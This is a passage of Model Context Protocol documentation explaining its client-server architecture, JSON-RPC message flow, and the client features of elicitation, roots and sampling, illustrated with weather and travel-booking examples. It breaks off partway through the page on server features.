(MCP) discusses its [scope](https://modelcontextprotocol.io/docs/learn/architecture#scope) and [core concepts](https://modelcontextprotocol.io/docs/learn/architecture#concepts-of-mcp) , and provides an [example](https://modelcontextprotocol.io/docs/learn/architecture#example) demonstrating each core concept. Because MCP SDKs abstract away many concerns, most developers will likely find the [data layer protocol](https://modelcontextprotocol.io/docs/learn/architecture#data-layer-protocol) section to be the most useful. It discusses how MCP servers can provide context to an AI application. For specific implementation details, please refer to the documentation for your [language-specific SDK](https://modelcontextprotocol.io/docs/sdk) . [​](https://modelcontextprotocol.io/docs/learn/architecture#scope) Scope --------------------------------------------------------------------------- The Model Context Protocol includes the following projects: * [MCP Specification](https://modelcontextprotocol.io/specification/latest) : A specification of MCP that outlines the implementation requirements for clients and servers. * [MCP SDKs](https://modelcontextprotocol.io/docs/sdk) : SDKs for different programming languages that implement MCP. * **MCP Development Tools**: Tools for developing MCP servers and clients, including the [MCP Inspector](https://github.com/modelcontextprotocol/inspector) * [MCP Reference Server Implementations](https://github.com/modelcontextprotocol/servers) : Reference implementations of MCP servers. MCP focuses solely on the protocol for context exchange—it does not dictate how AI applications use LLMs or manage the provided context. [​](https://modelcontextprotocol.io/docs/learn/architecture#concepts-of-mcp) Concepts of MCP ----------------------------------------------------------------------------------------------- ### [​](https://modelcontextprotocol.io/docs/learn/architecture#participants) Participants MCP follows a client-server architecture where an MCP host — an AI application like [Claude Code](https://www.anthropic.com/claude-code) or [Claude Desktop](https://www.claude.ai/download) — establishes connections to one or more MCP servers. The MCP host accomplishes this by creating one MCP client for each MCP server. Each MCP client maintains a dedicated connection with its corresponding MCP server. Local MCP servers that use the STDIO transport typically serve a single MCP client, whereas remote MCP servers that use the Streamable HTTP transport will typically serve many MCP clients. The key participants in the MCP architecture are: * **MCP Host**: The AI application that coordinates and manages one or multiple MCP clients * **MCP Client**: A component that maintains a connection to an MCP server and obtains context from an MCP server for the MCP host to use * **MCP Server**: A program that provides context to MCP clients **For example**: Visual Studio Code acts as an MCP host. When Visual Studio Code establishes a connection to an MCP server, such as the [Sentry MCP server](https://docs.sentry.io/product/sentry-mcp/) , the Visual Studio Code runtime instantiates an MCP client object that maintains the connection to the Sentry MCP server. When Visual Studio Code subsequently connects to another MCP server, such as the [local filesystem server](https://github.com/modelcontextprotocol/servers/tree/main/src/filesystem) , the Visual Studio Code runtime instantiates an additional MCP client object to maintain this connection. Note that **MCP server** refers to the program that serves context data, regardless of where it runs. MCP servers can execute locally or remotely. For example, when Claude Desktop launches the [filesystem server](https://github.com/modelcontextprotocol/servers/tree/main/src/filesystem) , the server runs locally on the same machine because it uses the STDIO transport. This is commonly referred to as a “local” MCP server. The official [Sentry MCP server](https://docs.sentry.io/product/sentry-mcp/) runs on the Sentry platform, and uses the Streamable HTTP transport. This is commonly referred to as a “remote” MCP server. ### [​](https://modelcontextprotocol.io/docs/learn/architecture#layers) Layers MCP consists of two layers: * **Data layer**: Defines the JSON-RPC based protocol for client-server communication, including lifecycle management, and core primitives, such as tools, resources, prompts and notifications. * **Transport layer**: Defines the communication mechanisms and channels that enable data exchange between clients and servers, including transport-specific connection establishment, message framing, and authorization. Conceptually the data layer is the inner layer, while the transport layer is the outer layer. #### [​](https://modelcontextprotocol.io/docs/learn/architecture#data-layer) Data layer The data layer implements a [JSON-RPC 2.0](https://www.jsonrpc.org/) based exchange protocol that defines the message structure and semantics. This layer includes: * **Lifecycle management**: Handles connection initialization, capability negotiation, and connection termination between clients and servers * **Server features**: Enables servers to provide core functionality including tools for AI actions, resources for context data, and prompts for interaction templates from and to the client * **Client features**: Enables servers to ask the client to sample from the host LLM, elicit input from the user, and log messages to the client * **Utility features**: Supports additional capabilities like notifications for real-time updates and progress tracking for long-running operations #### [​](https://modelcontextprotocol.io/docs/learn/architecture#transport-layer) Transport layer The transport layer manages communication channels and authentication between clients and servers. It handles connection establishment, message framing, and secure communication between MCP participants. MCP supports two transport mechanisms: * **Stdio transport**: Uses standard input/output streams for direct process communication between local processes on the same machine, providing optimal performance with no network overhead. * **Streamable HTTP transport**: Uses HTTP POST for client-to-server messages with optional Server-Sent Events for streaming capabilities. This transport enables remote server communication and supports standard HTTP authentication methods including bearer tokens, API keys, and custom headers. MCP recommends using OAuth to obtain authentication tokens. The transport layer abstracts communication details from the protocol layer, enabling the same JSON-RPC 2.0 message format across all transport mechanisms. ### [​](https://modelcontextprotocol.io/docs/learn/architecture#data-layer-protocol) Data Layer Protocol A core part of MCP is defining the schema and semantics between MCP clients and MCP servers. Developers will likely find the data layer — in particular, the set of [primitives](https://modelcontextprotocol.io/docs/learn/architecture#primitives) — to be the most interesting part of MCP. It is the part of MCP that defines the ways developers can share context from MCP servers to MCP clients. MCP uses [JSON-RPC 2.0](https://www.jsonrpc.org/) as its underlying RPC protocol. Client and servers send requests to each other and respond accordingly. Notifications can be used when no response is required. #### [​](https://modelcontextprotocol.io/docs/learn/architecture#lifecycle-management) Lifecycle management MCP is a stateful protocol that requires lifecycle management. The purpose of lifecycle management is to negotiate the capabilities that both client and server support. Detailed information can be found in the [specification](https://modelcontextprotocol.io/specification/latest/basic/lifecycle) , and the [example](https://modelcontextprotocol.io/docs/learn/architecture#example) showcases the initialization sequence. #### [​](https://modelcontextprotocol.io/docs/learn/architecture#primitives) Primitives MCP primitives are the most important concept within MCP. They define what clients and servers can offer each other. These primitives specify the types of contextual information that can be shared with AI applications and the range of actions that can be performed. MCP defines three core primitives that _servers_ can expose: * **Tools**: Executable functions that AI applications can invoke to perform actions (e.g., file operations, API calls, database queries) * **Resources**: Data sources that provide contextual information to AI applications (e.g., file contents, database records, API responses) * **Prompts**: Reusable templates that help structure interactions with language models (e.g., system prompts, few-shot examples) Each primitive type has associated methods for discovery (`*/list`), retrieval (`*/get`), and in some cases, execution (`tools/call`). MCP clients will use the `*/list` methods to discover available primitives. For example, a client can first list all available tools (`tools/list`) and then execute them. This design allows listings to be dynamic. As a concrete example, consider an MCP server that provides context about a database. It can expose tools for querying the database, a resource that contains the schema of the database, and a prompt that includes few-shot examples for interacting with the tools. For more details about server primitives see [server concepts](https://modelcontextprotocol.io/docs/learn/server-concepts) . MCP also defines primitives that _clients_ can expose. These primitives allow MCP server authors to build richer interactions. * **Sampling**: Allows servers to request language model completions from the client’s AI application. This is useful when server authors want access to a language model, but want to stay model-independent and not include a language model SDK in their MCP server. They can use the `sampling/createMessage` method to request a language model completion from the client’s AI application. * **Elicitation**: Allows servers to request additional information from users. This is useful when server authors want to get more information from the user, or ask for confirmation of an action. They can use the `elicitation/create` method to request additional information from the user. * **Logging**: Enables servers to send log messages to clients for debugging and monitoring purposes. For more details about client primitives see [client concepts](https://modelcontextprotocol.io/docs/learn/client-concepts) . Besides server and client primitives, the protocol offers cross-cutting utility primitives that augment how requests are executed: * **Tasks (Experimental)**: Durable execution wrappers that enable deferred result retrieval and status tracking for MCP requests (e.g., expensive computations, workflow automation, batch processing, multi-step operations) #### [​](https://modelcontextprotocol.io/docs/learn/architecture#notifications) Notifications The protocol supports real-time notifications to enable dynamic updates between servers and clients. For example, when a server’s available tools change—such as when new functionality becomes available or existing tools are modified—the server can send tool update notifications to inform connected clients about these changes. Notifications are sent as JSON-RPC 2.0 notification messages (without expecting a response) and enable MCP servers to provide real-time updates to connected clients. [​](https://modelcontextprotocol.io/docs/learn/architecture#example) Example ------------------------------------------------------------------------------- ### [​](https://modelcontextprotocol.io/docs/learn/architecture#data-layer-2) Data Layer This section provides a step-by-step walkthrough of an MCP client-server interaction, focusing on the data layer protocol. We’ll demonstrate the lifecycle sequence, tool operations, and notifications using JSON-RPC 2.0 messages. 1 [](https://modelcontextprotocol.io/docs/learn/architecture#) Initialization (Lifecycle Management) MCP begins with lifecycle management through a capability negotiation handshake. As described in the [lifecycle management](https://modelcontextprotocol.io/docs/learn/architecture#lifecycle-management) section, the client sends an `initialize` request to establish the connection and negotiate supported features. Initialize Request Initialize Response { "jsonrpc": "2.0", "id": 1, "method": "initialize", "params": { "protocolVersion": "2025-06-18", "capabilities": { "elicitation": {} }, "clientInfo": { "name": "example-client", "version": "1.0.0" } } } #### [​](https://modelcontextprotocol.io/docs/learn/architecture#understanding-the-initialization-exchange) Understanding the Initialization Exchange The initialization process is a key part of MCP’s lifecycle management and serves several critical purposes: 1. **Protocol Version Negotiation**: The `protocolVersion` field (e.g., “2025-06-18”) ensures both client and server are using compatible protocol versions. This prevents communication errors that could occur when different versions attempt to interact. If a mutually compatible version is not negotiated, the connection should be terminated. 2. **Capability Discovery**: The `capabilities` object allows each party to declare what features they support, including which [primitives](https://modelcontextprotocol.io/docs/learn/architecture#primitives) they can handle (tools, resources, prompts) and whether they support features like [notifications](https://modelcontextprotocol.io/docs/learn/architecture#notifications) . This enables efficient communication by avoiding unsupported operations. 3. **Identity Exchange**: The `clientInfo` and `serverInfo` objects provide identification and versioning information for debugging and compatibility purposes. In this example, the capability negotiation demonstrates how MCP primitives are declared:**Client Capabilities**: * `"elicitation": {}` - The client declares it can work with user interaction requests (can receive `elicitation/create` method calls) **Server Capabilities**: * `"tools": {"listChanged": true}` - The server supports the tools primitive AND can send `tools/list_changed` notifications when its tool list changes * `"resources": {}` - The server also supports the resources primitive (can handle `resources/list` and `resources/read` methods) After successful initialization, the client sends a notification to indicate it’s ready: Notification { "jsonrpc": "2.0", "method": "notifications/initialized" } #### [​](https://modelcontextprotocol.io/docs/learn/architecture#how-this-works-in-ai-applications) How This Works in AI Applications During initialization, the AI application’s MCP client manager establishes connections to configured servers and stores their capabilities for later use. The application uses this information to determine which servers can provide specific types of functionality (tools, resources, prompts) and whether they support real-time updates. Pseudo-code for AI application initialization # Pseudo Code async with stdio_client(server_config) as (read, write): async with ClientSession(read, write) as session: init_response = await session.initialize() if init_response.capabilities.tools: app.register_mcp_server(session, supports_tools=True) app.set_server_ready(session) 2 [](https://modelcontextprotocol.io/docs/learn/architecture#) Tool Discovery (Primitives) Now that the connection is established, the client can discover available tools by sending a `tools/list` request. This request is fundamental to MCP’s tool discovery mechanism — it allows clients to understand what tools are available on the server before attempting to use them. Tools List Request Tools List Response { "jsonrpc": "2.0", "id": 2, "method": "tools/list" } #### [​](https://modelcontextprotocol.io/docs/learn/architecture#understanding-the-tool-discovery-request) Understanding the Tool Discovery Request The `tools/list` request is simple, containing no parameters. #### [​](https://modelcontextprotocol.io/docs/learn/architecture#understanding-the-tool-discovery-response) Understanding the Tool Discovery Response The response contains a `tools` array that provides comprehensive metadata about each available tool. This array-based structure allows servers to expose multiple tools simultaneously while maintaining clear boundaries between different functionalities.Each tool object in the response includes several key fields: * **`name`**: A unique identifier for the tool within the server’s namespace. This serves as the primary key for tool execution and should follow a clear naming pattern (e.g., `calculator_arithmetic` rather than just `calculate`) * **`title`**: A human-readable display name for the tool that clients can show to users * **`description`**: Detailed explanation of what the tool does and when to use it * **`inputSchema`**: A JSON Schema that defines the expected input parameters, enabling type validation and providing clear documentation about required and optional parameters #### [​](https://modelcontextprotocol.io/docs/learn/architecture#how-this-works-in-ai-applications-2) How This Works in AI Applications The AI application fetches available tools from all connected MCP servers and combines them into a unified tool registry that the language model can access. This allows the LLM to understand what actions it can perform and automatically generates the appropriate tool calls during conversations. Pseudo-code for AI application tool discovery # Pseudo-code using MCP Python SDK patterns available_tools = [] for session in app.mcp_server_sessions(): tools_response = await session.list_tools() available_tools.extend(tools_response.tools) conversation.register_available_tools(available_tools) 3 [](https://modelcontextprotocol.io/docs/learn/architecture#) Tool Execution (Primitives) The client can now execute a tool using the `tools/call` method. This demonstrates how MCP primitives are used in practice: after discovering available tools, the client can invoke them with appropriate arguments. #### [​](https://modelcontextprotocol.io/docs/learn/architecture#understanding-the-tool-execution-request) Understanding the Tool Execution Request The `tools/call` request follows a structured format that ensures type safety and clear communication between client and server. Note that we’re using the proper tool name from the discovery response (`weather_current`) rather than a simplified name: Tool Call Request Tool Call Response { "jsonrpc": "2.0", "id": 3, "method": "tools/call", "params": { "name": "weather_current", "arguments": { "location": "San Francisco", "units": "imperial" } } } #### [​](https://modelcontextprotocol.io/docs/learn/architecture#key-elements-of-tool-execution) Key Elements of Tool Execution The request structure includes several important components: 1. **`name`**: Must match exactly the tool name from the discovery response (`weather_current`). This ensures the server can correctly identify which tool to execute. 2. **`arguments`**: Contains the input parameters as defined by the tool’s `inputSchema`. In this example: * `location`: “San Francisco” (required parameter) * `units`: “imperial” (optional parameter, defaults to “metric” if not specified) 3. **JSON-RPC Structure**: Uses standard JSON-RPC 2.0 format with unique `id` for request-response correlation. #### [​](https://modelcontextprotocol.io/docs/learn/architecture#understanding-the-tool-execution-response) Understanding the Tool Execution Response The response demonstrates MCP’s flexible content system: 1. **`content` Array**: Tool responses return an array of content objects, allowing for rich, multi-format responses (text, images, resources, etc.) 2. **Content Types**: Each content object has a `type` field. In this example, `"type": "text"` indicates plain text content, but MCP supports various content types for different use cases. 3. **Structured Output**: The response provides actionable information that the AI application can use as context for language model interactions. This execution pattern allows AI applications to dynamically invoke server functionality and receive structured responses that can be integrated into conversations with language models. #### [​](https://modelcontextprotocol.io/docs/learn/architecture#how-this-works-in-ai-applications-3) How This Works in AI Applications When the language model decides to use a tool during a conversation, the AI application intercepts the tool call, routes it to the appropriate MCP server, executes it, and returns the results back to the LLM as part of the conversation flow. This enables the LLM to access real-time data and perform actions in the external world. # Pseudo-code for AI application tool execution async def handle_tool_call(conversation, tool_name, arguments): session = app.find_mcp_session_for_tool(tool_name) result = await session.call_tool(tool_name, arguments) conversation.add_tool_result(result.content) 4 [](https://modelcontextprotocol.io/docs/learn/architecture#) Real-time Updates (Notifications) MCP supports real-time notifications that enable servers to inform clients about changes without being explicitly requested. This demonstrates the notification system, a key feature that keeps MCP connections synchronized and responsive. #### [​](https://modelcontextprotocol.io/docs/learn/architecture#understanding-tool-list-change-notifications) Understanding Tool List Change Notifications When the server’s available tools change—such as when new functionality becomes available, existing tools are modified, or tools become temporarily unavailable—the server can proactively notify connected clients: Request { "jsonrpc": "2.0", "method": "notifications/tools/list_changed" } #### [​](https://modelcontextprotocol.io/docs/learn/architecture#key-features-of-mcp-notifications) Key Features of MCP Notifications 1. **No Response Required**: Notice there’s no `id` field in the notification. This follows JSON-RPC 2.0 notification semantics where no response is expected or sent. 2. **Capability-Based**: This notification is only sent by servers that declared `"listChanged": true` in their tools capability during initialization (as shown in Step 1). 3. **Event-Driven**: The server decides when to send notifications based on internal state changes, making MCP connections dynamic and responsive. #### [​](https://modelcontextprotocol.io/docs/learn/architecture#client-response-to-notifications) Client Response to Notifications Upon receiving this notification, the client typically reacts by requesting the updated tool list. This creates a refresh cycle that keeps the client’s understanding of available tools current: Request { "jsonrpc": "2.0", "id": 4, "method": "tools/list" } #### [​](https://modelcontextprotocol.io/docs/learn/architecture#why-notifications-matter) Why Notifications Matter This notification system is crucial for several reasons: 1. **Dynamic Environments**: Tools may come and go based on server state, external dependencies, or user permissions 2. **Efficiency**: Clients don’t need to poll for changes; they’re notified when updates occur 3. **Consistency**: Ensures clients always have accurate information about available server capabilities 4. **Real-time Collaboration**: Enables responsive AI applications that can adapt to changing contexts This notification pattern extends beyond tools to other MCP primitives, enabling comprehensive real-time synchronization between clients and servers. #### [​](https://modelcontextprotocol.io/docs/learn/architecture#how-this-works-in-ai-applications-4) How This Works in AI Applications When the AI application receives a notification about changed tools, it immediately refreshes its tool registry and updates the LLM’s available capabilities. This ensures that ongoing conversations always have access to the most current set of tools, and the LLM can dynamically adapt to new functionality as it becomes available. # Pseudo-code for AI application notification handling async def handle_tools_changed_notification(session): tools_response = await session.list_tools() app.update_available_tools(session, tools_response.tools) if app.conversation.is_active(): app.conversation.notify_llm_of_new_capabilities() Was this page helpful? YesNo [What is MCP?](https://modelcontextprotocol.io/docs/getting-started/intro) [Servers](https://modelcontextprotocol.io/docs/learn/server-concepts) ⌘I --- # Understanding MCP clients - Model Context Protocol [Skip to main content](https://modelcontextprotocol.io/docs/learn/client-concepts#content-area) [Model Context Protocol home page![light logo](https://mintcdn.com/mcp/2BMHnlNW5OqOohXZ/logo/light.svg?fit=max&auto=format&n=2BMHnlNW5OqOohXZ&q=85&s=a5ac61ce77858fb1ddaf6de761c39499)![dark logo](https://mintcdn.com/mcp/2BMHnlNW5OqOohXZ/logo/dark.svg?fit=max&auto=format&n=2BMHnlNW5OqOohXZ&q=85&s=1227cb7feb8344f9f6288c6b5b0a6d80)](https://modelcontextprotocol.io/) Search... ⌘K Search... Navigation About MCP Understanding MCP clients [Documentation](https://modelcontextprotocol.io/docs/getting-started/intro) [Extensions](https://modelcontextprotocol.io/extensions/overview) [Specification](https://modelcontextprotocol.io/specification/2025-11-25) [Registry](https://modelcontextprotocol.io/registry/about) [SEPs](https://modelcontextprotocol.io/seps) [Community](https://modelcontextprotocol.io/community/contributing) On this page * [Core Client Features](https://modelcontextprotocol.io/docs/learn/client-concepts#core-client-features) * [Elicitation](https://modelcontextprotocol.io/docs/learn/client-concepts#elicitation) * [Overview](https://modelcontextprotocol.io/docs/learn/client-concepts#overview) * [Example: Holiday Booking Approval](https://modelcontextprotocol.io/docs/learn/client-concepts#example-holiday-booking-approval) * [User Interaction Model](https://modelcontextprotocol.io/docs/learn/client-concepts#user-interaction-model) * [Roots](https://modelcontextprotocol.io/docs/learn/client-concepts#roots) * [Overview](https://modelcontextprotocol.io/docs/learn/client-concepts#overview-2) * [Example: Travel Planning Workspace](https://modelcontextprotocol.io/docs/learn/client-concepts#example-travel-planning-workspace) * [Design Philosophy](https://modelcontextprotocol.io/docs/learn/client-concepts#design-philosophy) * [User Interaction Model](https://modelcontextprotocol.io/docs/learn/client-concepts#user-interaction-model-2) * [Sampling](https://modelcontextprotocol.io/docs/learn/client-concepts#sampling) * [Overview](https://modelcontextprotocol.io/docs/learn/client-concepts#overview-3) * [Example: Flight Analysis Tool](https://modelcontextprotocol.io/docs/learn/client-concepts#example-flight-analysis-tool) * [User Interaction Model](https://modelcontextprotocol.io/docs/learn/client-concepts#user-interaction-model-3) MCP clients are instantiated by host applications to communicate with particular MCP servers. The host application, like Claude.ai or an IDE, manages the overall user experience and coordinates multiple clients. Each client handles one direct communication with one server. Understanding the distinction is important: the _host_ is the application users interact with, while _clients_ are the protocol-level components that enable server connections. [​](https://modelcontextprotocol.io/docs/learn/client-concepts#core-client-features) Core Client Features ------------------------------------------------------------------------------------------------------------ In addition to making use of context provided by servers, clients may provide several features to servers. These client features allow server authors to build richer interactions. | Feature | Explanation | Example | | --- | --- | --- | | **Elicitation** | Elicitation enables servers to request specific information from users during interactions, providing a structured way for servers to gather information on demand. | A server booking travel may ask for the user’s preferences on airplane seats, room type or their contact number to finalise a booking. | | **Roots** | Roots allow clients to specify which directories servers should focus on, communicating intended scope through a coordination mechanism. | A server for booking travel may be given access to a specific directory, from which it can read a user’s calendar. | | **Sampling** | Sampling allows servers to request LLM completions through the client, enabling an agentic workflow. This approach puts the client in complete control of user permissions and security measures. | A server for booking travel may send a list of flights to an LLM and request that the LLM pick the best flight for the user. | ### [​](https://modelcontextprotocol.io/docs/learn/client-concepts#elicitation) Elicitation Elicitation enables servers to request specific information from users during interactions, creating more dynamic and responsive workflows. #### [​](https://modelcontextprotocol.io/docs/learn/client-concepts#overview) Overview Elicitation provides a structured way for servers to gather necessary information on demand. Instead of requiring all information up front or failing when data is missing, servers can pause their operations to request specific inputs from users. This creates more flexible interactions where servers adapt to user needs rather than following rigid patterns. **Elicitation flow:** The flow enables dynamic information gathering. Servers can request specific data when needed, users provide information through appropriate UI, and servers continue processing with the newly acquired context. **Elicitation components example:** { method: "elicitation/create", params: { message: "Please confirm your Barcelona vacation booking details:", schema: { type: "object", properties: { confirmBooking: { type: "boolean", description: "Confirm the booking (Flights + Hotel = $3,000)" }, seatPreference: { type: "string", enum: ["window", "aisle", "no preference"], description: "Preferred seat type for flights" }, roomType: { type: "string", enum: ["sea view", "city view", "garden view"], description: "Preferred room type at hotel" }, travelInsurance: { type: "boolean", default: false, description: "Add travel insurance ($150)" } }, required: ["confirmBooking"] } } } #### [​](https://modelcontextprotocol.io/docs/learn/client-concepts#example-holiday-booking-approval) Example: Holiday Booking Approval A travel booking server demonstrates elicitation’s power through the final booking confirmation process. When a user has selected their ideal vacation package to Barcelona, the server needs to gather final approval and any missing details before proceeding. The server elicits booking confirmation with a structured request that includes the trip summary (Barcelona flights June 15-22, beachfront hotel, total $3,000) and fields for any additional preferences—such as seat selection, room type, or travel insurance options. As the booking progresses, the server elicits contact information needed to complete the reservation. It might ask for traveler details for flight bookings, special requests for the hotel, or emergency contact information. #### [​](https://modelcontextprotocol.io/docs/learn/client-concepts#user-interaction-model) User Interaction Model Elicitation interactions are designed to be clear, contextual, and respectful of user autonomy: **Request presentation**: Clients display elicitation requests with clear context about which server is asking, why the information is needed, and how it will be used. The request message explains the purpose while the schema provides structure and validation. **Response options**: Users can provide the requested information through appropriate UI controls (text fields, dropdowns, checkboxes), decline to provide information with optional explanation, or cancel the entire operation. Clients validate responses against the provided schema before returning them to servers. **Privacy considerations**: Elicitation never requests passwords or API keys. Clients warn about suspicious requests and let users review data before sending. ### [​](https://modelcontextprotocol.io/docs/learn/client-concepts#roots) Roots Roots define filesystem boundaries for server operations, allowing clients to specify which directories servers should focus on. #### [​](https://modelcontextprotocol.io/docs/learn/client-concepts#overview-2) Overview Roots are a mechanism for clients to communicate filesystem access boundaries to servers. They consist of file URIs that indicate directories where servers can operate, helping servers understand the scope of available files and folders. While roots communicate intended boundaries, they do not enforce security restrictions. Actual security must be enforced at the operating system level, via file permissions and/or sandboxing. **Root structure:** { "uri": "file:///Users/agent/travel-planning", "name": "Travel Planning Workspace" } Roots are exclusively filesystem paths and always use the `file://` URI scheme. They help servers understand project boundaries, workspace organization, and accessible directories. The roots list can be updated dynamically as users work with different projects or folders, with servers receiving notifications through `roots/list_changed` when boundaries change. #### [​](https://modelcontextprotocol.io/docs/learn/client-concepts#example-travel-planning-workspace) Example: Travel Planning Workspace A travel agent working with multiple client trips benefits from roots to organize filesystem access. Consider a workspace with different directories for various aspects of travel planning. The client provides filesystem roots to the travel planning server: * `file:///Users/agent/travel-planning` - Main workspace containing all travel files * `file:///Users/agent/travel-templates` - Reusable itinerary templates and resources * `file:///Users/agent/client-documents` - Client passports and travel documents When the agent creates a Barcelona itinerary, well-behaved servers respect these boundaries—accessing templates, saving the new itinerary, and referencing client documents within the specified roots. Servers typically access files within roots by using relative paths from the root directories or by utilizing file search tools that respect the root boundaries. If the agent opens an archive folder like `file:///Users/agent/archive/2023-trips`, the client updates the roots list via `roots/list_changed`. For a complete implementation of a server that respects roots, see the [filesystem server](https://github.com/modelcontextprotocol/servers/tree/main/src/filesystem) in the official servers repository. #### [​](https://modelcontextprotocol.io/docs/learn/client-concepts#design-philosophy) Design Philosophy Roots serve as a coordination mechanism between clients and servers, not a security boundary. The specification requires that servers “SHOULD respect root boundaries,” and not that they “MUST enforce” them, because servers run code the client cannot control. Roots work best when servers are trusted or vetted, users understand their advisory nature, and the goal is preventing accidents rather than stopping malicious behavior. They excel at context scoping (telling servers where to focus), accident prevention (helping well-behaved servers stay in bounds), and workflow organization (such as managing project boundaries automatically). #### [​](https://modelcontextprotocol.io/docs/learn/client-concepts#user-interaction-model-2) User Interaction Model Roots are typically managed automatically by host applications based on user actions, though some applications may expose manual root management: **Automatic root detection**: When users open folders, clients automatically expose them as roots. Opening a travel workspace allows the client to expose that directory as a root, helping servers understand which itineraries and documents are in scope for the current work. **Manual root configuration**: Advanced users can specify roots through configuration. For example, adding `/travel-templates` for reusable resources while excluding directories with financial records. ### [​](https://modelcontextprotocol.io/docs/learn/client-concepts#sampling) Sampling Sampling allows servers to request language model completions through the client, enabling agentic behaviors while maintaining security and user control. #### [​](https://modelcontextprotocol.io/docs/learn/client-concepts#overview-3) Overview Sampling enables servers to perform AI-dependent tasks without directly integrating with or paying for AI models. Instead, servers can request that the client—which already has AI model access—handle these tasks on their behalf. This approach puts the client in complete control of user permissions and security measures. Because sampling requests occur within the context of other operations—like a tool analyzing data—and are processed as separate model calls, they maintain clear boundaries between different contexts, allowing for more efficient use of the context window. **Sampling flow:** The flow ensures security through multiple human-in-the-loop checkpoints. Users review and can modify both the initial request and the generated response before it returns to the server. **Request parameters example:** { messages: [\ {\ role: "user",\ content: "Analyze these flight options and recommend the best choice:\n" +\ "[47 flights with prices, times, airlines, and layovers]\n" +\ "User preferences: morning departure, max 1 layover"\ }\ ], modelPreferences: { hints: [{\ name: "claude-sonnet-4-20250514" // Suggested model\ }], costPriority: 0.3, // Less concerned about API cost speedPriority: 0.2, // Can wait for thorough analysis intelligencePriority: 0.9 // Need complex trade-off evaluation }, systemPrompt: "You are a travel expert helping users find the best flights based on their preferences", maxTokens: 1500 } #### [​](https://modelcontextprotocol.io/docs/learn/client-concepts#example-flight-analysis-tool) Example: Flight Analysis Tool Consider a travel booking server with a tool called `findBestFlight` that uses sampling to analyze available flights and recommend the optimal choice. When a user asks “Book me the best flight to Barcelona next month,” the tool needs AI assistance to evaluate complex trade-offs. The tool queries airline APIs and gathers 47 flight options. It then requests AI assistance to analyze these options: “Analyze these flight options and recommend the best choice: \[47 flights with prices, times, airlines, and layovers\] User preferences: morning departure, max 1 layover.” The client initiates the sampling request, allowing the AI to evaluate trade-offs—like cheaper red-eye flights versus convenient morning departures. The tool uses this analysis to present the top three recommendations. #### [​](https://modelcontextprotocol.io/docs/learn/client-concepts#user-interaction-model-3) User Interaction Model While not a requirement, sampling is designed to allow human-in-the-loop control. Users can maintain oversight through several mechanisms: **Approval controls**: Sampling requests may require explicit user consent. Clients can show what the server wants to analyze and why. Users can approve, deny, or modify requests. **Transparency features**: Clients can display the exact prompt, model selection, and token limits, allowing users to review AI responses before they return to the server. **Configuration options**: Users can set model preferences, configure auto-approval for trusted operations, or require approval for everything. Clients may provide options to redact sensitive information. **Security considerations**: Both clients and servers must handle sensitive data appropriately during sampling. Clients should implement rate limiting and validate all message content. The human-in-the-loop design ensures that server-initiated AI interactions cannot compromise security or access sensitive data without explicit user consent. Was this page helpful? YesNo [Servers](https://modelcontextprotocol.io/docs/learn/server-concepts) [Versioning](https://modelcontextprotocol.io/docs/learn/versioning) ⌘I --- # Understanding MCP servers - Model Context Protocol [Skip to main content](https://modelcontextprotocol.io/docs/learn/server-concepts#content-area) [Model Context Protocol home page![light logo](https://mintcdn.com/mcp/2BMHnlNW5OqOohXZ/logo/light.svg?fit=max&auto=format&n=2BMHnlNW5OqOohXZ&q=85&s=a5ac61ce77858fb1ddaf6de761c39499)![dark logo](https://mintcdn.com/mcp/2BMHnlNW5OqOohXZ/logo/dark.svg?fit=max&auto=format&n=2BMHnlNW5OqOohXZ&q=85&s=1227cb7feb8344f9f6288c6b5b0a6d80)](https://modelcontextprotocol.io/) Search... ⌘K Search... Navigation About MCP Understanding MCP servers [Documentation](https://modelcontextprotocol.io/docs/getting-started/intro) [Extensions](https://modelcontextprotocol.io/extensions/overview) [Specification](https://modelcontextprotocol.io/specification/2025-11-25) [Registry](https://modelcontextprotocol.io/registry/about) [SEPs](https://modelcontextprotocol.io/seps) [Community](https://modelcontextprotocol.io/community/contributing) On this page * [Core Server Features](https://modelcontextprotocol.io/docs/learn/server-concepts#core-server-features) * [Tools](https://modelcontextprotocol.io/docs/learn/server-concepts#tools) * [How Tools Work](https://modelcontextprotocol.io/docs/learn/server-concepts#how-tools-work) * [Example: Travel Booking](https://modelcontextprotocol.io/docs/learn/server-concepts#example-travel-booking) * [User Interaction Model](https://modelcontextprotocol.io/docs/learn/server-concepts#user-interaction-model) * [Resources](https://modelcontextprotocol.io/docs/learn/server-concepts#resources) * [How Resources Work](https://modelcontextprotocol.io/docs/learn/server-concepts#how-resources-work) * [Example: Getting Travel Planning Context](https://modelcontextprotocol.io/docs/learn/server-concepts#example-getting-travel-planning-context) * [Parameter Completion](https://modelcontextprotocol.io/docs/learn/server-concepts#parameter-completion) * [User Interaction Model](https://modelcontextprotocol.io/docs/learn/server-concepts#user-interaction-model-2) * [Prompts](https://modelcontextprotocol.io/docs/learn/server-concepts#prompts) * [How Prompts Work](https://modelcontextprotocol.io/docs/learn/server-concepts#how-prompts-work) * [Example: Streamlined Workflows](https://modelcontextprotocol.io/docs/learn/server-concepts#example-streamlined-workflows) * [User Interaction Model](https://modelcontextprotocol.io/docs/learn/server-concepts#user-interaction-model-3) * [Bringing Servers Together](https://modelcontextprotocol.io/docs/learn/server-concepts#bringing-servers-together) * [Example: Multi-Server Travel Planning](https://modelcontextprotocol.io/docs/learn/server-concepts#example-multi-server-travel-planning) * [The Complete Flow](https://modelcontextprotocol.io/docs/learn/server-concepts#the-complete-flow) MCP servers are programs that expose specific capabilities to AI applications through standardized protocol interfaces. Common examples include file system servers for document access, database servers for data queries, GitHub servers for code management, Slack servers for team communication, and calendar servers for scheduling. [​](https://modelcontextprotocol.io/docs/learn/server-concepts#core-server-features) Core Server Features ------------------------------------------------------------------------------------------------------------ Servers provide functionality through three building blocks: | Feature | Explanation | Examples | Who controls it | | --- | --- | --- | --- | | **Tools** | Functions that your LLM can actively call, and decides when to use them based on user requests. Tools can write to databases, call external APIs, modify files, or trigger other logic. | Search flights
Send messages
Create calendar events | Model | | **Resources** | Passive data sources that provide read-only access to information for context, such as file contents, database schemas, or API documentation. | Retrieve documents
Access knowledge bases
Read calendars | Application | | **Prompts** | Pre-built instruction templates that tell the model to work with specific tools and resources. | Plan a vacation
Summarize my meetings
